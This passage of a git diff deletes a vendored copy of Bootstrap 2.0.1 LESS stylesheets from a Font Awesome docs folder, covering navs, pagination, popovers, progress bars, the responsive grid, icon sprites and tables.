-}
-.nav-pills.nav-stacked > li:last-child > a {
-  margin-bottom: 1px; // decrease margin to match sizing of stacked tabs
-}
-
-
-
-// DROPDOWNS
-// ---------
-
-// Position the menu
-.nav-tabs .dropdown-menu,
-.nav-pills .dropdown-menu {
-  margin-top: 1px;
-  border-width: 1px;
-}
-.nav-pills .dropdown-menu {
-  .border-radius(4px);
-}
-
-// Default dropdown links
-// -------------------------
-// Make carets use linkColor to start
-.nav-tabs .dropdown-toggle .caret,
-.nav-pills .dropdown-toggle .caret {
-  border-top-color: @linkColor;
-  margin-top: 6px;
-}
-.nav-tabs .dropdown-toggle:hover .caret,
-.nav-pills .dropdown-toggle:hover .caret {
-  border-top-color: @linkColorHover;
-}
-
-// Active dropdown links
-// -------------------------
-.nav-tabs .active .dropdown-toggle .caret,
-.nav-pills .active .dropdown-toggle .caret {
-  border-top-color: @grayDark;
-}
-
-// Active:hover dropdown links
-// -------------------------
-.nav > .dropdown.active > a:hover {
-  color: @black;
-  cursor: pointer;
-}
-
-// Open dropdowns
-// -------------------------
-.nav-tabs .open .dropdown-toggle,
-.nav-pills .open .dropdown-toggle,
-.nav > .open.active > a:hover {
-  color: @white;
-  background-color: @grayLight;
-  border-color: @grayLight;
-}
-.nav .open .caret,
-.nav .open.active .caret,
-.nav .open a:hover .caret {
-  border-top-color: @white;
-  .opacity(100);
-}
-
-// Dropdowns in stacked tabs
-.tabs-stacked .open > a:hover {
-  border-color: @grayLight;
-}
-
-
-
-// TABBABLE
-// --------
-
-
-// COMMON STYLES
-// -------------
-
-// Clear any floats
-.tabbable {
-  .clearfix();
-}
-.tab-content {
-  overflow: hidden; // prevent content from running below tabs
-}
-
-// Remove border on bottom, left, right
-.tabs-below .nav-tabs,
-.tabs-right .nav-tabs,
-.tabs-left .nav-tabs {
-  border-bottom: 0;
-}
-
-// Show/hide tabbable areas
-.tab-content > .tab-pane,
-.pill-content > .pill-pane {
-  display: none;
-}
-.tab-content > .active,
-.pill-content > .active {
-  display: block;
-}
-
-
-// BOTTOM
-// ------
-
-.tabs-below .nav-tabs {
-  border-top: 1px solid #ddd;
-}
-.tabs-below .nav-tabs > li {
-  margin-top: -1px;
-  margin-bottom: 0;
-}
-.tabs-below .nav-tabs > li > a {
-  .border-radius(0 0 4px 4px);
-  &:hover {
-    border-bottom-color: transparent;
-    border-top-color: #ddd;
-  }
-}
-.tabs-below .nav-tabs .active > a,
-.tabs-below .nav-tabs .active > a:hover {
-  border-color: transparent #ddd #ddd #ddd;
-}
-
-// LEFT & RIGHT
-// ------------
-
-// Common styles
-.tabs-left .nav-tabs > li,
-.tabs-right .nav-tabs > li {
-  float: none;
-}
-.tabs-left .nav-tabs > li > a,
-.tabs-right .nav-tabs > li > a {
-  min-width: 74px;
-  margin-right: 0;
-  margin-bottom: 3px;
-}
-
-// Tabs on the left
-.tabs-left .nav-tabs {
-  float: left;
-  margin-right: 19px;
-  border-right: 1px solid #ddd;
-}
-.tabs-left .nav-tabs > li > a {
-  margin-right: -1px;
-  .border-radius(4px 0 0 4px);
-}
-.tabs-left .nav-tabs > li > a:hover {
-  border-color: @grayLighter #ddd @grayLighter @grayLighter;
-}
-.tabs-left .nav-tabs .active > a,
-.tabs-left .nav-tabs .active > a:hover {
-  border-color: #ddd transparent #ddd #ddd;
-  *border-right-color: @white;
-}
-
-// Tabs on the right
-.tabs-right .nav-tabs {
-  float: right;
-  margin-left: 19px;
-  border-left: 1px solid #ddd;
-}
-.tabs-right .nav-tabs > li > a {
-  margin-left: -1px;
-  .border-radius(0 4px 4px 0);
-}
-.tabs-right .nav-tabs > li > a:hover {
-  border-color: @grayLighter @grayLighter @grayLighter #ddd;
-}
-.tabs-right .nav-tabs .active > a,
-.tabs-right .nav-tabs .active > a:hover {
-  border-color: #ddd #ddd #ddd transparent;
-  *border-left-color: @white;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/pager.less b/assets/font-awesome/docs/assets/less/tw-bs-201/pager.less
deleted file mode 100755
index 104e41ca..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/pager.less
+++ /dev/null
@@ -1,30 +0,0 @@
-// PAGER
-// -----
-
-.pager {
-  margin-left: 0;
-  margin-bottom: @baseLineHeight;
-  list-style: none;
-  text-align: center;
-  .clearfix();
-}
-.pager li {
-  display: inline;
-}
-.pager a {
-  display: inline-block;
-  padding: 5px 14px;
-  background-color: #fff;
-  border: 1px solid #ddd;
-  .border-radius(15px);
-}
-.pager a:hover {
-  text-decoration: none;
-  background-color: #f5f5f5;
-}
-.pager .next a {
-  float: right;
-}
-.pager .previous a {
-  float: left;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/pagination.less b/assets/font-awesome/docs/assets/less/tw-bs-201/pagination.less
deleted file mode 100755
index de578075..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/pagination.less
+++ /dev/null
@@ -1,55 +0,0 @@
-// PAGINATION
-// ----------
-
-.pagination {
-  height: @baseLineHeight * 2;
-  margin: @baseLineHeight 0;
- }
-.pagination ul {
-  display: inline-block;
-  .ie7-inline-block();
-  margin-left: 0;
-  margin-bottom: 0;
-  .border-radius(3px);
-  .box-shadow(0 1px 2px rgba(0,0,0,.05));
-}
-.pagination li {
-    display: inline;
-  }
-.pagination a {
-  float: left;
-  padding: 0 14px;
-  line-height: (@baseLineHeight * 2) - 2;
-  text-decoration: none;
-  border: 1px solid #ddd;
-  border-left-width: 0;
-}
-.pagination a:hover,
-.pagination .active a {
-  background-color: #f5f5f5;
-}
-.pagination .active a {
-  color: @grayLight;
-  cursor: default;
-}
-.pagination .disabled a,
-.pagination .disabled a:hover {
-  color: @grayLight;
-  background-color: transparent;
-  cursor: default;
-}
-.pagination li:first-child a {
-  border-left-width: 1px;
-  .border-radius(3px 0 0 3px);
-}
-.pagination li:last-child a {
-  .border-radius(0 3px 3px 0);
-}
-
-// Centered
-.pagination-centered {
-  text-align: center;
-}
-.pagination-right {
-  text-align: right;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/popovers.less b/assets/font-awesome/docs/assets/less/tw-bs-201/popovers.less
deleted file mode 100755
index 558d99ec..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/popovers.less
+++ /dev/null
@@ -1,49 +0,0 @@
-// POPOVERS
-// --------
-
-.popover {
-  position: absolute;
-  top: 0;
-  left: 0;
-  z-index: @zindexPopover;
-  display: none;
-  padding: 5px;
-  &.top    { margin-top:  -5px; }
-  &.right  { margin-left:  5px; }
-  &.bottom { margin-top:   5px; }
-  &.left   { margin-left: -5px; }
-  &.top .arrow    { #popoverArrow > .top(); }
-  &.right .arrow  { #popoverArrow > .right(); }
-  &.bottom .arrow { #popoverArrow > .bottom(); }
-  &.left .arrow   { #popoverArrow > .left();  }
-  .arrow {
-    position: absolute;
-    width: 0;
-    height: 0;
-  }
-}
-.popover-inner {
-  padding: 3px;
-  width: 280px;
-  overflow: hidden;
-  background: @black; // has to be full background declaration for IE fallback
-  background: rgba(0,0,0,.8);
-  .border-radius(6px);
-  .box-shadow(0 3px 7px rgba(0,0,0,0.3));
-}
-.popover-title {
-  padding: 9px 15px;
-  line-height: 1;
-  background-color: #f5f5f5;
-  border-bottom:1px solid #eee;
-  .border-radius(3px 3px 0 0);
-}
-.popover-content {
-  padding: 14px;
-  background-color: @white;
-  .border-radius(0 0 3px 3px);
-  .background-clip(padding-box);
-  p, ul, ol {
-    margin-bottom: 0;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/progress-bars.less b/assets/font-awesome/docs/assets/less/tw-bs-201/progress-bars.less
deleted file mode 100755
index c3144e1b..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/progress-bars.less
+++ /dev/null
@@ -1,95 +0,0 @@
-// PROGRESS BARS
-// -------------
-
-
-// ANIMATIONS
-// ----------
-
-// Webkit
-@-webkit-keyframes progress-bar-stripes {
-  from  { background-position: 0 0; }
-  to    { background-position: 40px 0; }
-}
-
-// Firefox
-@-moz-keyframes progress-bar-stripes {
-  from  { background-position: 0 0; }
-  to    { background-position: 40px 0; }
-}
-
-// Spec
-@keyframes progress-bar-stripes {
-  from  { background-position: 0 0; }
-  to    { background-position: 40px 0; }
-}
-
-
-
-// THE BARS
-// --------
-
-// Outer container
-.progress {
-  overflow: hidden;
-  height: 18px;
-  margin-bottom: 18px;
-  #gradient > .vertical(#f5f5f5, #f9f9f9);
-  .box-shadow(inset 0 1px 2px rgba(0,0,0,.1));
-  .border-radius(4px);
-}
-
-// Bar of progress
-.progress .bar {
-  width: 0%;
-  height: 18px;
-  color: @white;
-  font-size: 12px;
-  text-align: center;
-  text-shadow: 0 -1px 0 rgba(0,0,0,.25);
-  #gradient > .vertical(#149bdf, #0480be);
-  .box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));
-  .box-sizing(border-box);
-  .transition(width .6s ease);
-}
-
-// Striped bars
-.progress-striped .bar {
-  #gradient > .striped(#62c462);
-  .background-size(40px 40px);
-}
-
-// Call animation for the active one
-.progress.active .bar {
-  -webkit-animation: progress-bar-stripes 2s linear infinite;
-     -moz-animation: progress-bar-stripes 2s linear infinite;
-          animation: progress-bar-stripes 2s linear infinite;
-}
-
-
-
-// COLORS
-// ------
-
-// Danger (red)
-.progress-danger .bar {
-  #gradient > .vertical(#ee5f5b, #c43c35);
-}
-.progress-danger.progress-striped .bar {
-  #gradient > .striped(#ee5f5b);
-}
-
-// Success (green)
-.progress-success .bar {
-  #gradient > .vertical(#62c462, #57a957);
-}
-.progress-success.progress-striped .bar {
-  #gradient > .striped(#62c462);
-}
-
-// Info (teal)
-.progress-info .bar {
-  #gradient > .vertical(#5bc0de, #339bb9);
-}
-.progress-info.progress-striped .bar {
-  #gradient > .striped(#5bc0de);
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/reset.less b/assets/font-awesome/docs/assets/less/tw-bs-201/reset.less
deleted file mode 100755
index 1115f59d..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/reset.less
+++ /dev/null
@@ -1,126 +0,0 @@
-// Reset.less
-// Adapted from Normalize.css http://github.com/necolas/normalize.css
-// ------------------------------------------------------------------------
-
-// Display in IE6-9 and FF3
-// -------------------------
-
-article,
-aside,
-details,
-figcaption,
-figure,
-footer,
-header,
-hgroup,
-nav,
-section {
-  display: block;
-}
-
-// Display block in IE6-9 and FF3
-// -------------------------
-
-audio,
-canvas,
-video {
-  display: inline-block;
-  *display: inline;
-  *zoom: 1;
-}
-
-// Prevents modern browsers from displaying 'audio' without controls
-// -------------------------
-
-audio:not([controls]) {
-    display: none;
-}
-
-// Base settings
-// -------------------------
-
-html {
-  font-size: 100%;
-  -webkit-text-size-adjust: 100%;
-      -ms-text-size-adjust: 100%;
-}
-// Focus states
-a:focus {
-  .tab-focus();
-}
-// Hover & Active
-a:hover,
-a:active {
-  outline: 0;
-}
-
-// Prevents sub and sup affecting line-height in all browsers
-// -------------------------
-
-sub,
-sup {
-  position: relative;
-  font-size: 75%;
-  line-height: 0;
-  vertical-align: baseline;
-}
-sup {
-  top: -0.5em;
-}
-sub {
-  bottom: -0.25em;
-}
-
-// Img border in a's and image quality
-// -------------------------
-
-img {
-  max-width: 100%;
-  height: auto;
-  border: 0;
-  -ms-interpolation-mode: bicubic;
-}
-
-// Forms
-// -------------------------
-
-// Font size in all browsers, margin changes, misc consistency
-button,
-input,
-select,
-textarea {
-  margin: 0;
-  font-size: 100%;
-  vertical-align: middle;
-}
-button,
-input {
-  *overflow: visible; // Inner spacing ie IE6/7
-  line-height: normal; // FF3/4 have !important on line-height in UA stylesheet
-}
-button::-moz-focus-inner,
-input::-moz-focus-inner { // Inner padding and border oddities in FF3/4
-  padding: 0;
-  border: 0;
-}
-button,
-input[type="button"],
-input[type="reset"],
-input[type="submit"] {
-  cursor: pointer; // Cursors on all buttons applied consistently
-  -webkit-appearance: button; // Style clickable inputs in iOS
-}
-input[type="search"] { // Appearance in Safari/Chrome
-  -webkit-appearance: textfield;
-  -webkit-box-sizing: content-box;
-     -moz-box-sizing: content-box;
-          box-sizing: content-box;
-}
-input[type="search"]::-webkit-search-decoration,
-input[type="search"]::-webkit-search-cancel-button {
-  -webkit-appearance: none; // Inner-padding issues in Chrome OSX, Safari 5
-}
-textarea {
-  overflow: auto; // Remove vertical scrollbar in IE6-9
-  vertical-align: top; // Readability and alignment cross-browser
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/responsive.less b/assets/font-awesome/docs/assets/less/tw-bs-201/responsive.less
deleted file mode 100755
index 1547dce9..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/responsive.less
+++ /dev/null
@@ -1,327 +0,0 @@
-/*!
- * Bootstrap Responsive v2.0.1
- *
- * Copyright 2012 Twitter, Inc
- * Licensed under the Apache License v2.0
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Designed and built with all the love in the world @twitter by @mdo and @fat.
- */
-
-// Responsive.less
-// For phone and tablet devices
-// -------------------------------------------------------------
-
-
-// REPEAT VARIABLES & MIXINS
-// -------------------------
-// Required since we compile the responsive stuff separately
-
-@import "variables.less"; // Modify this for custom colors, font-sizes, etc
-@import "mixins.less";
-
-
-// RESPONSIVE CLASSES
-// ------------------
-
-// Hide from screenreaders and browsers
-// Credit: HTML5 Boilerplate
-.hidden {
-  display: none;
-  visibility: hidden;
-}
-
-
-
-// UP TO LANDSCAPE PHONE
-// ---------------------
-
-@media (max-width: 480px) {
-
-  // Smooth out the collapsing/expanding nav
-  .nav-collapse {
-    -webkit-transform: translate3d(0, 0, 0); // activate the GPU
-  }
-
-  // Block level the page header small tag for readability
-  .page-header h1 small {
-    display: block;
-    line-height: @baseLineHeight;
-  }
-
-  // Make span* classes full width
-  input[class*="span"],
-  select[class*="span"],
-  textarea[class*="span"],
-  .uneditable-input {
-    display: block;
-    width: 100%;
-    min-height: 28px; /* Make inputs at least the height of their button counterpart */
-    /* Makes inputs behave like true block-level elements */
-    -webkit-box-sizing: border-box; /* Older Webkit */
-       -moz-box-sizing: border-box; /* Older FF */
-        -ms-box-sizing: border-box; /* IE8 */
-            box-sizing: border-box; /* CSS3 spec*/
-  }
-  // But don't let it screw up prepend/append inputs
-  .input-prepend input[class*="span"],
-  .input-append input[class*="span"] {
-    width: auto;
-  }
-
-  // Update checkboxes for iOS
-  input[type="checkbox"],
-  input[type="radio"] {
-    border: 1px solid #ccc;
-  }
-
-  // Remove the horizontal form styles
-  .form-horizontal .control-group > label {
-    float: none;
-    width: auto;
-    padding-top: 0;
-    text-align: left;
-  }
-  // Move over all input controls and content
-  .form-horizontal .controls {
-    margin-left: 0;
-  }
-  // Move the options list down to align with labels
-  .form-horizontal .control-list {
-    padding-top: 0; // has to be padding because margin collaspes
-  }
-  // Move over buttons in .form-actions to align with .controls
-  .form-horizontal .form-actions {
-    padding-left: 10px;
-    padding-right: 10px;
-  }
-
-  // Modals
-  .modal {
-    position: absolute;
-    top:   10px;
-    left:  10px;
-    right: 10px;
-    width: auto;
-    margin: 0;
-    &.fade.in { top: auto; }
-  }
-  .modal-header .close {
-    padding: 10px;
-    margin: -10px;
-  }
-
-  // Carousel
-  .carousel-caption {
-    position: static;
-  }
-
-}
-
-
-
-// LANDSCAPE PHONE TO SMALL DESKTOP & PORTRAIT TABLET
-// --------------------------------------------------
-
-@media (max-width: 767px) {
-  // GRID & CONTAINERS
-  // -----------------
-  // Remove width from containers
-  .container {
-    width: auto;
-    padding: 0 20px;
-  }
-  // Fluid rows
-  .row-fluid {
-    width: 100%;
-  }
-  // Undo negative margin on rows
-  .row {
-    margin-left: 0;
-  }
-  // Make all columns even
-  .row > [class*="span"],
-  .row-fluid > [class*="span"] {
-    float: none;
-    display: block;
-    width: auto;
-    margin: 0;
-  }
-}
-
-
-
-// PORTRAIT TABLET TO DEFAULT DESKTOP
-// ----------------------------------
-
-@media (min-width: 768px) and (max-width: 979px) {
-
-  // Fixed grid
-  #gridSystem > .generate(12, 42px, 20px);
-
-  // Fluid grid
-  #fluidGridSystem > .generate(12, 5.801104972%, 2.762430939%);
-
-  // Input grid
-  #inputGridSystem > .generate(12, 42px, 20px);
-
-}
-
-
-
-// TABLETS AND BELOW
-// -----------------
-@media (max-width: 979px) {
-
-  // UNFIX THE TOPBAR
-  // ----------------
-  // Remove any padding from the body
-  body {
-    padding-top: 0;
-  }
-  // Unfix the navbar
-  .navbar-fixed-top {
-    position: static;
-    margin-bottom: @baseLineHeight;
-  }
-  .navbar-fixed-top .navbar-inner {
-    padding: 5px;
-  }
-  .navbar .container {
-    width: auto;
-    padding: 0;
-  }
-  // Account for brand name
-  .navbar .brand {
-    padding-left: 10px;
-    padding-right: 10px;
-    margin: 0 0 0 -5px;
-  }
-  // Nav collapse clears brand
-  .navbar .nav-collapse {
-    clear: left;
-  }
-  // Block-level the nav
-  .navbar .nav {
-    float: none;
-    margin: 0 0 (@baseLineHeight / 2);
-  }
-  .navbar .nav > li {
-    float: none;
-  }
-  .navbar .nav > li > a {
-    margin-bottom: 2px;
-  }
-  .navbar .nav > .divider-vertical {
-    display: none;
-  }
-  .navbar .nav .nav-header {
-    color: @navbarText;
-    text-shadow: none;
-  }
-  // Nav and dropdown links in navbar
-  .navbar .nav > li > a,
-  .navbar .dropdown-menu a {
-    padding: 6px 15px;
-    font-weight: bold;
-    color: @navbarLinkColor;
-    .border-radius(3px);
-  }
-  .navbar .dropdown-menu li + li a {
-    margin-bottom: 2px;
-  }
-  .navbar .nav > li > a:hover,
-  .navbar .dropdown-menu a:hover {
-    background-color: @navbarBackground;
-  }
-  // Dropdowns in the navbar
-  .navbar .dropdown-menu {
-    position: static;
-    top: auto;
-    left: auto;
-    float: none;
-    display: block;
-    max-width: none;
-    margin: 0 15px;
-    padding: 0;
-    background-color: transparent;
-    border: none;
-    .border-radius(0);
-    .box-shadow(none);
-  }
-  .navbar .dropdown-menu:before,
-  .navbar .dropdown-menu:after {
-    display: none;
-  }
-  .navbar .dropdown-menu .divider {
-    display: none;
-  }
-  // Forms in navbar
-  .navbar-form,
-  .navbar-search {
-    float: none;
-    padding: (@baseLineHeight / 2) 15px;
-    margin: (@baseLineHeight / 2) 0;
-    border-top: 1px solid @navbarBackground;
-    border-bottom: 1px solid @navbarBackground;
-    @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);
-    .box-shadow(@shadow);
-  }
-  // Pull right (secondary) nav content
-  .navbar .nav.pull-right {
-    float: none;
-    margin-left: 0;
-  }
-  // Static navbar
-  .navbar-static .navbar-inner {
-    padding-left:  10px;
-    padding-right: 10px;
-  }
-  // Navbar button
-  .btn-navbar {
-    display: block;
-  }
-
-  // Hide everything in the navbar save .brand and toggle button */
-  .nav-collapse {
-    overflow: hidden;
-    height: 0;
-  }
-}
-
-
-
-// DEFAULT DESKTOP
-// ---------------
-
-@media (min-width: 980px) {
-  .nav-collapse.collapse {
-    height: auto !important;
-  }
-}
-
-
-
-// LARGE DESKTOP & UP
-// ------------------
-
-@media (min-width: 1200px) {
-
-  // Fixed grid
-  #gridSystem > .generate(12, 70px, 30px);
-
-  // Fluid grid
-  #fluidGridSystem > .generate(12, 5.982905983%, 2.564102564%);
-
-  // Input grid
-  #inputGridSystem > .generate(12, 70px, 30px);
-
-  // Thumbnails
-  .thumbnails {
-    margin-left: -30px;
-  }
-  .thumbnails > li {
-    margin-left: 30px;
-  }
-
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/scaffolding.less b/assets/font-awesome/docs/assets/less/tw-bs-201/scaffolding.less
deleted file mode 100755
index 47ce5381..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/scaffolding.less
+++ /dev/null
@@ -1,29 +0,0 @@
-// Scaffolding
-// Basic and global styles for generating a grid system, structural layout, and page templates
-// -------------------------------------------------------------------------------------------
-
-
-// STRUCTURAL LAYOUT
-// -----------------
-
-body {
-  margin: 0;
-  font-family: @baseFontFamily;
-  font-size: @baseFontSize;
-  line-height: @baseLineHeight;
-  color: @textColor;
-  background-color: @white;
-}
-
-
-// LINKS
-// -----
-
-a {
-  color: @linkColor;
-  text-decoration: none;
-}
-a:hover {
-  color: @linkColorHover;
-  text-decoration: underline;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/sprites.less b/assets/font-awesome/docs/assets/less/tw-bs-201/sprites.less
deleted file mode 100755
index a7741661..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/sprites.less
+++ /dev/null
@@ -1,158 +0,0 @@
-// SPRITES
-// Glyphs and icons for buttons, nav, and more
-// -------------------------------------------
-
-
-// ICONS
-// -----
-
-// All icons receive the styles of the <i> tag with a base class 
-// of .i and are then given a unique class to add width, height, 
-// and background-position. Your resulting HTML will look like
-// <i class="icon-inbox"></i>.
-
-// For the white version of the  icons, just add the .icon-white class:
-// <i class="icon-inbox icon-white"></i>
-
-[class^="icon-"],
-[class*=" icon-"] {
-  display: inline-block;
-  width: 14px;
-  height: 14px;
-  line-height: 14px;
-  vertical-align: text-top;
-  background-image: url(@iconSpritePath);
-  background-position: 14px 14px;
-  background-repeat: no-repeat;
-
-  .ie7-restore-right-whitespace();
-}
-.icon-white {
-  background-image: url(@iconWhiteSpritePath);
-}
-
-.icon-glass              { background-position: 0      0; }
-.icon-music              { background-position: -24px  0; }
-.icon-search             { background-position: -48px  0; }
-.icon-envelope           { background-position: -72px  0; }
-.icon-heart              { background-position: -96px  0; }
-.icon-star               { background-position: -120px 0; }
-.icon-star-empty         { background-position: -144px 0; }
-.icon-user               { background-position: -168px 0; }
-.icon-film               { background-position: -192px 0; }
-.icon-th-large           { background-position: -216px 0; }
-.icon-th                 { background-position: -240px 0; }
-.icon-th-list            { background-position: -264px 0; }
-.icon-ok                 { background-position: -288px 0; }
-.icon-remove             { background-position: -312px 0; }
-.icon-zoom-in            { background-position: -336px 0; }
-.icon-zoom-out           { background-position: -360px 0; }
-.icon-off                { background-position: -384px 0; }
-.icon-signal             { background-position: -408px 0; }
-.icon-cog                { background-position: -432px 0; }
-.icon-trash              { background-position: -456px 0; }
-
-.icon-home               { background-position: 0      -24px; }
-.icon-file               { background-position: -24px  -24px; }
-.icon-time               { background-position: -48px  -24px; }
-.icon-road               { background-position: -72px  -24px; }
-.icon-download-alt       { background-position: -96px  -24px; }
-.icon-download           { background-position: -120px -24px; }
-.icon-upload             { background-position: -144px -24px; }
-.icon-inbox              { background-position: -168px -24px; }
-.icon-play-circle        { background-position: -192px -24px; }
-.icon-repeat             { background-position: -216px -24px; }
-.icon-refresh            { background-position: -240px -24px; }
-.icon-list-alt           { background-position: -264px -24px; }
-.icon-lock               { background-position: -287px -24px; } // 1px off
-.icon-flag               { background-position: -312px -24px; }
-.icon-headphones         { background-position: -336px -24px; }
-.icon-volume-off         { background-position: -360px -24px; }
-.icon-volume-down        { background-position: -384px -24px; }
-.icon-volume-up          { background-position: -408px -24px; }
-.icon-qrcode             { background-position: -432px -24px; }
-.icon-barcode            { background-position: -456px -24px; }
-
-.icon-tag                { background-position: 0      -48px; }
-.icon-tags               { background-position: -25px  -48px; } // 1px off
-.icon-book               { background-position: -48px  -48px; }
-.icon-bookmark           { background-position: -72px  -48px; }
-.icon-print              { background-position: -96px  -48px; }
-.icon-camera             { background-position: -120px -48px; }
-.icon-font               { background-position: -144px -48px; }
-.icon-bold               { background-position: -167px -48px; } // 1px off
-.icon-italic             { background-position: -192px -48px; }
-.icon-text-height        { background-position: -216px -48px; }
-.icon-text-width         { background-position: -240px -48px; }
-.icon-align-left         { background-position: -264px -48px; }
-.icon-align-center       { background-position: -288px -48px; }
-.icon-align-right        { background-position: -312px -48px; }
-.icon-align-justify      { background-position: -336px -48px; }
-.icon-list               { background-position: -360px -48px; }
-.icon-indent-left        { background-position: -384px -48px; }
-.icon-indent-right       { background-position: -408px -48px; }
-.icon-facetime-video     { background-position: -432px -48px; }
-.icon-picture            { background-position: -456px -48px; }
-
-.icon-pencil             { background-position: 0      -72px; }
-.icon-map-marker         { background-position: -24px  -72px; }
-.icon-adjust             { background-position: -48px  -72px; }
-.icon-tint               { background-position: -72px  -72px; }
-.icon-edit               { background-position: -96px  -72px; }
-.icon-share              { background-position: -120px -72px; }
-.icon-check              { background-position: -144px -72px; }
-.icon-move               { background-position: -168px -72px; }
-.icon-step-backward      { background-position: -192px -72px; }
-.icon-fast-backward      { background-position: -216px -72px; }
-.icon-backward           { background-position: -240px -72px; }
-.icon-play               { background-position: -264px -72px; }
-.icon-pause              { background-position: -288px -72px; }
-.icon-stop               { background-position: -312px -72px; }
-.icon-forward            { background-position: -336px -72px; }
-.icon-fast-forward       { background-position: -360px -72px; }
-.icon-step-forward       { background-position: -384px -72px; }
-.icon-eject              { background-position: -408px -72px; }
-.icon-chevron-left       { background-position: -432px -72px; }
-.icon-chevron-right      { background-position: -456px -72px; }
-
-.icon-plus-sign          { background-position: 0      -96px; }
-.icon-minus-sign         { background-position: -24px  -96px; }
-.icon-remove-sign        { background-position: -48px  -96px; }
-.icon-ok-sign            { background-position: -72px  -96px; }
-.icon-question-sign      { background-position: -96px  -96px; }
-.icon-info-sign          { background-position: -120px -96px; }
-.icon-screenshot         { background-position: -144px -96px; }
-.icon-remove-circle      { background-position: -168px -96px; }
-.icon-ok-circle          { background-position: -192px -96px; }
-.icon-ban-circle         { background-position: -216px -96px; }
-.icon-arrow-left         { background-position: -240px -96px; }
-.icon-arrow-right        { background-position: -264px -96px; }
-.icon-arrow-up           { background-position: -289px -96px; } // 1px off
-.icon-arrow-down         { background-position: -312px -96px; }
-.icon-share-alt          { background-position: -336px -96px; }
-.icon-resize-full        { background-position: -360px -96px; }
-.icon-resize-small       { background-position: -384px -96px; }
-.icon-plus               { background-position: -408px -96px; }
-.icon-minus              { background-position: -433px -96px; }
-.icon-asterisk           { background-position: -456px -96px; }
-
-.icon-exclamation-sign   { background-position: 0      -120px; }
-.icon-gift               { background-position: -24px  -120px; }
-.icon-leaf               { background-position: -48px  -120px; }
-.icon-fire               { background-position: -72px  -120px; }
-.icon-eye-open           { background-position: -96px  -120px; }
-.icon-eye-close          { background-position: -120px -120px; }
-.icon-warning-sign       { background-position: -144px -120px; }
-.icon-plane              { background-position: -168px -120px; }
-.icon-calendar           { background-position: -192px -120px; }
-.icon-random             { background-position: -216px -120px; }
-.icon-comment            { background-position: -240px -120px; }
-.icon-magnet             { background-position: -264px -120px; }
-.icon-chevron-up         { background-position: -288px -120px; }
-.icon-chevron-down       { background-position: -313px -119px; } // 1px off
-.icon-retweet            { background-position: -336px -120px; }
-.icon-shopping-cart      { background-position: -360px -120px; }
-.icon-folder-close       { background-position: -384px -120px; }
-.icon-folder-open        { background-position: -408px -120px; }
-.icon-resize-vertical    { background-position: -432px -119px; }
-.icon-resize-horizontal  { background-position: -456px -118px; }
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/tables.less b/assets/font-awesome/docs/assets/less/tw-bs-201/tables.less
deleted file mode 100755
index 3a4066d7..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/tables.less
+++ /dev/null
@@ -1,150 +0,0 @@
-//
-// Tables.less
-// Tables for, you guessed it, tabular data
-// ----------------------------------------
-
-
-// BASE TABLES
-// -----------------
-
-table {
-  max-width: 100%;
-  border-collapse: collapse;
-  border-spacing: 0;
-}
-
-// BASELINE STYLES
-// ---------------
-
-.table {
-  width: 100%;
-  margin-bottom: @baseLineHeight;
-  // Cells
-  th,
-  td {
-    padding: 8px;
-    line-height: @baseLineHeight;
-    text-align: left;
-    vertical-align: top;
-    border-top: 1px solid #ddd;
-  }
-  th {
-    font-weight: bold;
-  }
-  // Bottom align for column headings
-  thead th {
-    vertical-align: bottom;
-  }
-  // Remove top border from thead by default
-  thead:first-child tr th,
-  thead:first-child tr td {
-    border-top: 0;
-  }
-  // Account for multiple tbody instances
-  tbody + tbody {
-    border-top: 2px solid #ddd;
-  }
-}
-
-
-
-// CONDENSED TABLE W/ HALF PADDING
-// -------------------------------
-
-.table-condensed {
-  th,
-  td {
-    padding: 4px 5px;
-  }
-}
-
-
-// BORDERED VERSION
-// ----------------
-
-.table-bordered {
-  border: 1px solid #ddd;
-  border-collapse: separate; // Done so we can round those corners!
-  *border-collapse: collapsed; // IE7 can't round corners anyway
-  .border-radius(4px);
-  th + th,
-  td + td,
-  th + td,
-  td + th {
-    border-left: 1px solid #ddd;
-  }
-  // Prevent a double border
-  thead:first-child tr:first-child th,
-  tbody:first-child tr:first-child th,
-  tbody:first-child tr:first-child td {
-    border-top: 0;
-  }
-  // For first th or td in the first row in the first thead or tbody
-  thead:first-child tr:first-child th:first-child,
-  tbody:first-child tr:first-child td:first-child {
-    .border-radius(4px 0 0 0);
-  }
-  thead:first-child tr:first-child th:last-child,
-  tbody:first-child tr:first-child td:last-child {
-    .border-radius(0 4px 0 0);
-  }
-  // For first th or td in the first row in the first thead or tbody
-  thead:last-child tr:last-child th:first-child,
-  tbody:last-child tr:last-child td:first-child {
-    .border-radius(0 0 0 4px);
-  }
-  thead:last-child tr:last-child th:last-child,
-  tbody:last-child tr:last-child td:last-child {
-    .border-radius(0 0 4px 0);
-  }
-}
-
-
-// ZEBRA-STRIPING
-// --------------
-
-// Default zebra-stripe styles (alternating gray and transparent backgrounds)
-.table-striped {
-  tbody {
-    tr:nth-child(odd) td,
-    tr:nth-child(odd) th {
-      background-color: #f9f9f9;
-    }
-  }
-}
-
-
-// HOVER EFFECT
-// ------------
-// Placed here since it has to come after the potential zebra striping
-.table {
-  tbody tr:hover td,
-  tbody tr:hover th {
-    background-color: #f5f5f5;
-  }
-}
-
-
-// TABLE CELL SIZING
-// -----------------
-
-// Change the columns
